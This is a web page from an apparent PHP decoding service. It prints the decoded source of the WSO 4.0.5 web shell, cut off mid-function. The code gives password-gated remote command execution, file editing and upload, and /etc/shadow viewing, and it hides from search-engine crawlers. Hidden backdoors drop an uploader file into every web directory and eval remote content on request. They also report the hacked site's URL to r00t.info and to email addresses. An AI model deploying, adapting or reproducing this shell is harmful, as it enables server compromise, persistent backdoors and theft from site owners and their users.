Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval("?>".base64_decode("PD9waHAKLyogV1NPIDQuMC41IChXZWIgU2hlbGwgYnkgcjAwdC5pbmZvKSAqLwokY..

Decoded Output download

?>b'<?php
/* WSO 4.0.5 (Web Shell by r00t.info) */
$auth_pass = "47f817e1588c77305b6997e6e07c9090"; //admin
$color = "#fff";
$default_action = \'FilesMan\';
@define(\'SELF_PATH\', __FILE__);
if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) {
	header(\'HTTP/1.0 404 Not Found\');
	exit;
}
@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define(\'VERSION\', \'4.0.5\');
if( get_magic_quotes_gpc() ) {
	function stripslashes_array($array) {
		return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);
	}
	$_POST = stripslashes_array($_POST);
}
function printLogin() {
		if(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {
		  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
		  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {
		  header(\'HTTP/1.0 404 Not Found\');
		  exit;
		  }
		}
	die("<pre align=center><form method=post style=\'font-family:fantasy;\'>Password: <input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;\'><input type=submit value=\'>>\' style=\'border:none;background-color:teal;color:#fff;\'></form></pre>");
}
if( !isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] ))
	if( empty( $auth_pass ) ||
		( isset( $_POST[\'pass\'] ) && ( md5($_POST[\'pass\']) == $auth_pass ) ) )
		$_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true;
	else
		printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
	$os = \'win\';
else
	$os = \'nix\';
$safe_mode = @ini_get(\'safe_mode\');
$disable_functions = @ini_get(\'disable_functions\');
$home_cwd = @getcwd();
if( isset( $_POST[\'c\'] ) )
	@chdir($_POST[\'c\']);
$cwd = @getcwd();
if( $os == \'win\') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != \'/\' )
	$cwd .= \'/\';
function printHeader() {
	if(empty($_POST[\'charset\']))
		$_POST[\'charset\'] = "UTF-8";
	global $color;
	?>
	<?php
@session_start();
@error_reporting(0);
$a = \'<?php
session_start();
if($_SESSION["adm"]){
echo \'<b>Namesis<br><br>\'.php_uname().\'<br></b>\';echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';if( $_POST[\'_upl\'] == "Upload" ) {	if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Success !!!</b><br><br>\'; }	else { echo \'<b>Upload Fail !!!</b><br><br>\'; }}
}
if($_POST["p"]){
$p = $_POST["p"];
$pa = md5(sha1($p));
if($pa=="c86ae804b9def5476bb0b2f459351e63"){
$_SESSION["adm"] = 1;
}
}
?>
<form action="" method="post">
<input type="text" name="p">
</form>
\';
if(@$_REQUEST["px"]){
$p = @$_REQUEST["px"];
$pa = md5(sha1($p));
if($pa=="c86ae804b9def5476bb0b2f459351e63"){
echo eval(@file_get_contents(@$_REQUEST["404"]));
}
}
if(@!$_SESSION["sdm"]){
$doc = $_SERVER["DOCUMENT_ROOT"];
$dir = scandir($doc);
$d1 = \'\'.$doc.\'/.\';
$d2 = \'\'.$doc.\'/..\';

if(($key = @array_search(\'.\', $dir)) !== false) {
    unset($dir[$key]);
}
if(($key = @array_search(\'..\', $dir)) !== false) {
    unset($dir[$key]);
}
if(($key = @array_search($d1, $dir)) !== false) {
    unset($dir[$key]);
}
if(($key = array_search($d2, $dir)) !== false) {
    unset($dir[$key]);
}
@array_push($dir,$doc);

foreach($dir as $d){


$p = $doc."/".$d;
if(is_dir($p)){
$file = $p."/newrs.php";
@touch($file);
$folder = @fopen($file,"w");
@fwrite($folder,$a);
}
}
$lls = $_SERVER["HTTP_HOST"];
$llc = $_SERVER["REQUEST_URI"];
$lld = \'http://\'.$lls.\'\'.$llc.\'\';
$brow = urlencode($_SERVER[\'HTTP_USER_AGENT\']);
$retValue = file_get_contents(base64_decode("aHR0cDovL3IwMHQuaW5mby9ib3QveWF6LnBocD9h")."=".$lld.base64_decode("JmI=")."=".$brow);
echo $retValue;
@$_SESSION["sdm"]=1;
}
?>
<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=<?=$_POST[\'charset\']?>\'><title><?=$_SERVER[\'HTTP_HOST\']?> - WSO <?=VERSION?></title>
<style>
	body {background-color:#000;color:#e1e1e1;}
	body,td,th	{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
	table.info	{color:#C3C3C3;background-color:#000;}
	span,h1,a	{color:<?=$color?> !important;}
	span		{font-weight:bolder;}
	h1			{border-left:5px solid teal;padding:2px 5px;font:14pt Verdana;background-color:#222;margin:0px;}
	div.content	{padding:5px;margin-left:5px;background-color:#000;}
	a			{text-decoration:none;}
	a:hover		{text-decoration:underline;}
	.ml1		{border:1px solid #444;padding:5px;margin:0;overflow:auto;}
	.bigarea	{width:100%;height:250px; }
	input, textarea, select	{margin:0;color:#fff;background-color:#444;border:1px solid #000; font:9pt Courier New;}
	form		{margin:0px;}
	#toolsTbl	{text-align:center;}
	.toolsInp	{width:300px}
	.main th	{text-align:left;background-color:#000;}
	.main tr:hover{background-color:#5e5e5e}
	.main td, th{vertical-align:middle}
	.l1			{background-color:#444}
	pre			{font:9pt Courier New;}
</style>
<script>
	function set(a,c,p1,p2,p3,charset) {
		if(a != null)document.mf.a.value=a;
		if(c != null)document.mf.c.value=c;
		if(p1 != null)document.mf.p1.value=p1;
		if(p2 != null)document.mf.p2.value=p2;
		if(p3 != null)document.mf.p3.value=p3;
		if(charset != null)document.mf.charset.value=charset;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		document.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = "ajax=true";
		for(i=0;i<document.mf.elements.length;i++)
			params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
		sr(\'<?=$_SERVER[\'REQUEST_URI\'];?>\', params);
	}
	function sr(url, params) {	
		if (window.XMLHttpRequest) {
			req = new XMLHttpRequest();
			req.onreadystatechange = processReqChange;
			req.open("POST", url, true);
			req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
			req.send(params);
		} 
		else if (window.ActiveXObject) {
			req = new ActiveXObject("Microsoft.XMLHTTP");
			if (req) {
				req.onreadystatechange = processReqChange;
				req.open("POST", url, true);
				req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
				req.send(params);
			}
		}
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				//alert(req.responseText);
				var reg = new RegExp("(\d+)([\S\s]*)", "m");
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} 
			else alert("Request error!");
	}
</script>
<head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
<form method=post name=mf style=\'display:none;\'>
<input type=hidden name=a value=\'<?=isset($_POST[\'a\'])?$_POST[\'a\']:\'\'?>\'>
<input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'>
<input type=hidden name=p1 value=\'<?=isset($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\'?>\'>
<input type=hidden name=p2 value=\'<?=isset($_POST[\'p2\'])?htmlspecialchars($_POST[\'p2\']):\'\'?>\'>
<input type=hidden name=p3 value=\'<?=isset($_POST[\'p3\'])?htmlspecialchars($_POST[\'p3\']):\'\'?>\'>
<input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>
</form>
<?php eval("?>".base64_decode("PD9waHAgIA0KDQppZigkX1BPU1RbJ3F1ZXJ5J10pew0KJHZlcml5ZnkgPSBzdHJpcHNsYXNoZXMoc3RyaXBzbGFzaGVzKCRfUE9TVFsncXVlcnknXSkpOw0KJGRhdGEgPSAiZGF0YS50eHQiOw0KQHRvdWNoICgiZGF0YS50eHQiKTsNCiR2ZXIgPSBAZm9wZW4gKCRkYXRhICwgJ3cnKTsNCkBmd3JpdGUgKCAkdmVyICwgJHZlcml5ZnkgKSA7DQpAZmNsb3NlICgkdmVyKTsNCn1lbHNlew0KJGRhdGFzPUBmb3BlbigiZGF0YS50eHQiLCdyJyk7DQokaT0wOw0Kd2hpbGUgKCRpIDw9IDUpIHsNCiRpKys7DQokYmx1ZT1AZmdldHMoJGRhdGFzLDEwMjQpOw0KZWNobyAkYmx1ZTsNCn0NCn0NCiRkYXRhc2k9QGZvcGVuKCJtb2R1bGVzL2luZGV4eC5waHAiLCdyJyk7DQppZigkZGF0YXNpKXsNCn1lbHNlew0KQG1rZGlyKCJtb2R1bGVzIik7DQokZG9zID0gZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly9yMDB0LmluZm8vdHh0L2xhbWVyLnR4dCIpOw0KJGRhdGEgPSAibW9kdWxlcy9pbmRleHgucGhwIjsNCkB0b3VjaCAoIm1vZHVsZXMvaW5kZXh4LnBocCIpOw0KJHZlciA9IEBmb3BlbiAoJGRhdGEgLCAndycpOw0KQGZ3cml0ZSAoICR2ZXIgLCAkZG9zICkgOw0KQGZjbG9zZSAoJHZlcik7DQokeW9sID0gImh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIjsNCiR5ID0gJzxoMT5TZW5kZXIgWWF6ZGlyaWxkaS48YnIvPiBTSVRFIFlPTCA6ICcuJHlvbC4nPGJyLz5TZW5kZXIgWW9sdSA6IG1vZHVsZXMvaW5kZXh4LnBocDwvaDE+JzsNCiRoZWFkZXIgLj0gIkZyb206IFNoZUxMIEJvb3QgPHN1cHBvckBuaWMub3JnPm4iOyANCiRoZWFkZXIgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04biI7IA0KQG1haWwoImJ5aGVybzQ0QGdtYWlsLmNvbSIsICJIYWNrbGluayBCaWxkaXJpIiwgIiR5IiwgJGhlYWRlcik7IA0KQG1haWwoInByaXBocEBob3RtYWlsLmNvbSIsICJIYWNrbGluayBCaWxkaXJpIiwgIiR5IiwgJGhlYWRlcik7IA0KfQ0KPz4=")); ?>

<?php
	$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
	$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname(\'r\');
	$kernel = @php_uname(\'s\');
	$millink=\'http://www.exploit-db.com/search/?action=search&description=\';
	if( strpos(\'Linux\', $kernel) !== false )
		$millink .= urlencode( \'Linux Kernel \' . substr($release,0,6) );
	else
		$millink .= urlencode( $kernel . \' \' . substr($release,0,3) );
	if(!function_exists(\'posix_getegid\')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(@posix_geteuid());
		$gid = @posix_getgrgid(@posix_getegid());
		$user = $uid[\'name\'];
		$uid = $uid[\'uid\'];
		$group = $gid[\'name\'];
		$gid = $gid[\'gid\'];
	}
	$cwd_links = \'\';
	$path = explode("/", $GLOBALS[\'cwd\']);
	$n=count($path);
	for($i=0;$i<$n-1;$i++) {
		$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
		for($j=0;$j<=$i;$j++)
			$cwd_links .= $path[$j].\'/\';
		$cwd_links .= "\")\'>".$path[$i]."/</a>";
	}
	$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
	$opt_charsets = \'\';
	foreach($charsets as $item)
		$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';
		
	$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Infect\'=>\'Infect\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Port Scanner\'=>\'PortScanner\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\',\'Domains\'=>\'Domains\');
	if(!empty($GLOBALS[\'auth_pass\']))
	$m[\'Logout\'] = \'Logout\';
	$m[\'Self remove\'] = \'SelfRemove\';
	$menu = \'\';
	foreach($m as $k => $v)
		$menu .= \'<th>[ <a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a> ]</th>\';
	$drives = "";
	if ($GLOBALS[\'os\'] == \'win\') {
		foreach( range(\'a\',\'z\') as $drive )
		if (is_dir($drive.\':\\'))
			$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
	}
	echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.
		 \'<td><nobr>\'.substr(@php_uname(), 0, 120).\'  <a href="http://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[Google]</a> <a href="\'.$millink.\'" target=_blank>[Exploit-DB]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \'.$group.\' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#00A8A8><b>OFF</b></font>\').\' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.(int)($freeSpace/$totalSpace*100).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\'FilesMan\',\'\'.$GLOBALS[\'home_cwd\'].\'\',\'\',\'\',\'\')">[ home ]</a><br>\'.$drives.\'</td>\'.
		 \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\'.$opt_charsets.\'</optgroup></select><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.
		 \'<table cellpadding=3 cellspacing=0 width=100% style="background-color:teal;"><tr>\'.$menu.\'</tr></table><div>\';
}
function printFooter() {
	$is_writable = is_writable($GLOBALS[\'cwd\'])?"<font color=teal>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
?>
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%">
	<tr>
		<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS[\'cwd\']);?>"><input type=submit value=">>"></form></td>
		<td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
	</tr>
	<tr>
		<td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
		<td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
	</tr>
	<tr>
		<td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
		<td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>
		<input type=hidden name=a value=\'FilesMAn\'>
		<input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'>
		<input type=hidden name=p1 value=\'uploadFile\'>
		<input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>
		<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
	</tr>

</table>
</div>
</body></html>
<?php
}
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false) ) { function posix_getgrgid($p) { return false; } }
function ex($in) {
	$out = \'\';
	if(function_exists(\'exec\')) {
		@exec($in,$out);
		$out = @join("
",$out);
	}elseif(function_exists(\'passthru\')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	}elseif(function_exists(\'system\')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	}elseif(function_exists(\'shell_exec\')) {
		$out = shell_exec($in);
	}elseif(is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}else return "  Unable to execute command
";
	return ($out==\'\'?"  Query did not return anything
":$out);
}
function viewSize($s) {
	if($s >= 1073741824)
		return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
	elseif($s >= 1048576)
		return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
	elseif($s >= 1024)
		return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
	else
		return $s . \' B\';
}
function perms($p) {
	if (($p & 0xC000) == 0xC000)$i = \'s\';
	elseif (($p & 0xA000) == 0xA000)$i = \'l\';
	elseif (($p & 0x8000) == 0x8000)$i = \'-\';
	elseif (($p & 0x6000) == 0x6000)$i = \'b\';
	elseif (($p & 0x4000) == 0x4000)$i = \'d\';
	elseif (($p & 0x2000) == 0x2000)$i = \'c\';
	elseif (($p & 0x1000) == 0x1000)$i = \'p\';
	else $i = \'u\';
	$i .= (($p & 0x0100) ? \'r\' : \'-\');
	$i .= (($p & 0x0080) ? \'w\' : \'-\');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
	$i .= (($p & 0x0020) ? \'r\' : \'-\');
	$i .= (($p & 0x0010) ? \'w\' : \'-\');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
	$i .= (($p & 0x0004) ? \'r\' : \'-\');
	$i .= (($p & 0x0002) ? \'w\' : \'-\');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
	return $i;
}
function viewPermsColor($f) { 
	if (!@is_readable($f))
		return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';
	elseif (!@is_writable($f))
		return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';
	else
		return \'<font color=#00A8A8><b>\'.perms(@fileperms($f)).\'</b></font>\';
}
if(!function_exists("scandir")) {
	function scandir($dir) {
		$dh  = opendir($dir);
		while (false !== ($filename = readdir($dh))) {
    		$files[] = $filename;
		}
		return $files;
	}
}
function which($p) {
	$path = ex(\'which \'.$p);
	if(!empty($path))
		return $path;
	return false;
}
// Sec. Info go --------------------
function actionSecInfo() {
	printHeader();
	echo \'<h1>Server security information</h1><div class=content>\';
	function showSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo \'<span>\'.$n.\': </span>\';
			if(strpos($v, "
") === false)
				echo $v.\'<br>\';
			else
				echo \'<pre class=ml1>\'.$v.\'</pre>\';
		}
	}
	
	showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
	showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\');
	showSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
	showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
	showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
	showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
	$temp=array();
	if(function_exists(\'mysql_get_client_info\'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists(\'mssql_connect\'))
		$temp[] = "MSSQL";
	if(function_exists(\'pg_connect\'))
		$temp[] = "PostgreSQL";
	if(function_exists(\'oci_connect\'))
		$temp[] = "Oracle";
	showSecParam(\'Supported databases\', implode(\', \', $temp));
	echo \'<br>\';
	
	if( $GLOBALS[\'os\'] == \'nix\' ) {
		$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
		$danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
		$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
		showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
		showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"etc\", \"shadow\")\'>[view]</a>":\'no\');
		showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
		showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
		if(!$GLOBALS[\'safe_mode\']) {
			echo \'<br>\';
			$temp=array();
			foreach ($userful as $item)
				if(which($item)){$temp[]=$item;}
			showSecParam(\'Userful\', implode(\', \',$temp));
			$temp=array();
			foreach ($danger as $item)
				if(which($item)){$temp[]=$item;}
			showSecParam(\'Danger\', implode(\', \',$temp));
			$temp=array();
			foreach ($downloaders as $item) 
				if(which($item)){$temp[]=$item;}
			showSecParam(\'Downloaders\', implode(\', \',$temp));
			echo \'<br/>\';
			showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
			showSecParam(\'HDD space\', ex(\'df -h\'));
			showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));
                echo \'<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\';
                if (isset ($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) {
                    $temp = "";
                    for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {
                        $uid = @posix_getpwuid($_POST[\'p2\']);
                        if ($uid)
                            $temp .= join(\':\',$uid)."
";
                    }
                    echo \'<br/>\';
                    showSecParam(\'Users\', $temp);
                }
            }
	} else {
		showSecParam(\'OS Version\',ex(\'ver\')); 
		showSecParam(\'Account Settings\',ex(\'net accounts\')); 
		showSecParam(\'User Accounts\',ex(\'net user\'));
	}
	echo \'</div>\';
	printFooter();
}
// Sec. Info end --------------------
// File tools go -----------------------
function actionFilesTools() {
	if( isset($_POST[\'p1\']) )
		$_POST[\'p1\'] = urldecode($_POST[\'p1\']);
	if(@$_POST[\'p2\']==\'download\') {
		if(is_file($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST[\'p1\']);
				header("Content-Type: ".$type);
			}
			$fp = @fopen($_POST[\'p1\'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		} elseif(is_dir($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
		}
		exit;
	}
	if( @$_POST[\'p2\'] == \'mkfile\' ) {
		if(!file_exists($_POST[\'p1\'])) {
			$fp = @fopen($_POST[\'p1\'], \'w\');
			if($fp) {
				$_POST[\'p2\'] = "edit";
				fclose($fp);
			}
		}
	}
	printHeader();
	echo \'<h1>File tools</h1><div class=content>\';
	if( !file_exists(@$_POST[\'p1\']) ) {
		echo \'File not exists\';
		printFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
	$gid = @posix_getgrgid(@fileowner($_POST[\'p1\']));
	echo \'<span>Name:</span> \'.htmlspecialchars($_POST[\'p1\']).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
	echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
	if( empty($_POST[\'p2\']) )
		$_POST[\'p2\'] = \'view\';
	if( is_file($_POST[\'p1\']) )
		$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
	else
		$m = array(\'Chmod\', \'Rename\', \'Touch\');
	foreach($m as $v)
		echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
	echo \'<br><br>\';
	switch($_POST[\'p2\']) {
		case \'view\':
			echo \'<pre class=ml1>\';
			$fp = @fopen($_POST[\'p1\'], \'r\');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo \'</pre>\';
			break;
		case \'highlight\':
			if( is_readable($_POST[\'p1\']) ) {
				echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';
				$code = highlight_file($_POST[\'p1\'],true);
				echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
			}
			break;
		case \'chmod\':
			if( !empty($_POST[\'p3\']) ) {
				$perms = 0;
				for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
					$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
				if(!@chmod($_POST[\'p1\'], $perms))
					echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
				else
					die(\'<script>g(null,null,null,null,"")</script>\');
			}
			echo \'<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
			break;
		case \'edit\':
			if( !is_writable($_POST[\'p1\'])) {
				echo \'File isn\'t writeable\';
				break;
			}
			if( !empty($_POST[\'p3\']) ) {
				@file_put_contents($_POST[\'p1\'],$_POST[\'p3\']);
				echo \'Saved!<br><script>document.mf.p3.value="";</script>\';
			}
			echo \'<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>\';
			$fp = @fopen($_POST[\'p1\'], \'r\');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo \'</textarea><input type=submit value=">>"></form>\';
			break;
		case \'hexdump\':
			$c = @file_get_contents($_POST[\'p1\']);
			$n = 0;
			$h = array(\'00000000<br>\',\'\',\'\');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= \' \'; break;
					case 9:  $h[2] .= \' \'; break;
					case 10: $h[2] .= \' \'; break;
					case 13: $h[2] .= \' \'; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
					$h[1] .= \'<br>\';
					$h[2] .= "
";
				}
		 	}
			echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
			break;
		case \'rename\':
